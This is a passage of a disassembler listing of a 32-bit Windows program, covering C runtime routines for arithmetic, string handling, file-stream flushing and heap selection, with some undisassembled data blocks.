loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D595
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596

loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
		dec	esi

loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi

loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5AA	proc near		; CODE XREF: sub_4170EC+BFp
					; sub_4170EC+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DB364
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645

loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl

loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------

loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DB364
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_41D637:				; CODE XREF: sub_41D5AA+53j
					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi

loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADD+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43C534, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C328
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43C534, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C328
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA

loc_41D6CD:				; CODE XREF: ___:0041D6C0j
					; ___:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD

loc_41D6EA:				; CODE XREF: ___:0041D6CBj
					; ___:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: ___:0041D6A6j
		retn
; ---------------------------------------------------------------------------

loc_41D6ED:				; CODE XREF: ___:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh

loc_41D715:				; CODE XREF: ___:0041D703j
					; ___:0041D707j ...
		mov	eax, 0

loc_41D71A:				; CODE XREF: ___:0041D6C6j
					; ___:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41D722:				; CODE XREF: ___:0041D6F5j
					; ___:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax

loc_41D749:				; CODE XREF: ___:0041D72Fj
					; ___:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418068+6p
					; sub_418086+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB364, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------

loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_43C534, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------

loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, esi

loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD

loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------

loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_43C328
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------

loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi

loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DB364
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------

loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A4+ADp
					; sub_419593+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E

loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824

loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A4+7Fp
					; sub_4185A4+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4DB364, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E

loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------

loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DB374
		call	esi
		test	eax, eax
		jnz	loc_41D92D
		nop
		call	near ptr 2670E9Dh
		cmp	eax, 7Ah
		jz	short loc_41D8BF

loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4DB2A8, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------

loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx

loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_43C328
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax

loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7

loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DB374
		call	esi
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------

loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4DB364, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------

loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DB374
		nop
		call	near ptr 2810000h
		cmp	eax, esi
		jz	short loc_41D8B0

loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax

loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp

; ---------------------------------------------------------------------------
		align 4
		dd 396BD6A5h, 25243BE9h, 0BA9A350Ch, 0A164215Ch, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 0B3E890E8h, 33024740h,	89D48AD2h
		dd 4DB2C015h, 81C88B00h, 0FFE1h, 0BC0D8900h, 0C1004DB2h
		dd 0CA0308E1h, 0B2B80D89h, 0E8C1004Dh, 0B2B4A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 5BE8FC75h, 90000059h, 47404CE8h, 0C94CA302h,	19E8004Dh
		dd 0A3000058h, 4DB318h,	55C2E8h, 5504E800h, 0B9E80000h
		dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2472628h, 5495E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 2ABFE856h, 50900226h, 0FE3820E8h,	0A04589FFh
		dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	0D3E85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; ___:00422F18p ...

arg_0		= dword	ptr  4

		cmp	dword_4DB320, 1
		jnz	short loc_41DA37
		call	sub_423590

loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43A2F0
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DB320
		dd 0E8057501h, 5B34h, 42474FFh,	5B64E8h, 0FF685900h, 90000000h
		dd 0A58244E8h
		db 77h,	0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DC700
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC600h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF

loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB

loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		call	near ptr 2650939h
		nop
		test	eax, eax
		jnz	short loc_41DAEB
		nop
		call	near ptr 2670E9Dh
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------

loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp

loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------

loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------

loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9

loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh

loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax

loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; ___:0041D223p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------

loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh

loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DC5E0, esi
		jle	short loc_41DC4E

loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4DB5C8
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------

loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax

loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4DC5E0
		jl	short loc_41DC01

loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi

loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: ___:0041DDC0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 26804B9h
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al

loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 26C04CCh
		test	eax, eax
		jz	short loc_41DCCD
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DCCD
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------

loc_41DCCD:				; CODE XREF: ___:0041DCB1j
					; ___:0041DCBAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	near ptr 28A0000h
		nop
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DD0F

loc_41DCFC:				; CODE XREF: ___:0041DD0Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al

loc_41DD0A:				; CODE XREF: ___:0041DD00j
					; ___:0041DD04j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC

loc_41DD0F:				; CODE XREF: ___:0041DCFAj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------

loc_41DD31:				; CODE XREF: ___:0041DD27j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2660000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41DD65

loc_41DD52:				; CODE XREF: ___:0041DD63j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al

loc_41DD60:				; CODE XREF: ___:0041DD56j
					; ___:0041DD5Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52

loc_41DD65:				; CODE XREF: ___:0041DD50j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx

loc_41DD7A:				; CODE XREF: ___:0041DD2Fj
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1

loc_41DD93:				; CODE XREF: ___:0041DD9Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------

loc_41DD9C:				; CODE XREF: ___:0041DD96j
		inc	ecx

loc_41DD9D:				; CODE XREF: ___:0041DD9Aj
		cmp	[ecx], bl
		jnz	short loc_41DD93

loc_41DDA1:				; CODE XREF: ___:0041DD91j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF

loc_41DDBC:				; CODE XREF: ___:0041DCE6j
					; ___:0041DD7Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DC5D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3

loc_41DDCF:				; CODE XREF: ___:0041DCC8j
					; ___:0041DDB0j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 24923E5h
		dd 0A3C08590h, 4DC944h,	93E83674h, 83FFFFFEh, 48A303F8h
		dd 75004DC9h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0C94435FFh, 0E890004Dh
		dd 24921D8h, 6AC3C033h,	68C35801h, 140h, 35FF006Ah, 4DC944h
		dd 21BEE890h, 0C0850238h, 4DC93CA3h, 0C3017500h, 4244C8Bh
		dd 0C9342583h, 8300004Dh, 4DC93825h, 16A0000h, 4DC930A3h
		dd 400D8900h, 0C7004DC9h, 4DC92805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DC938
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DC93C
		lea	ecx, [eax+ecx*4]

loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------

loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx

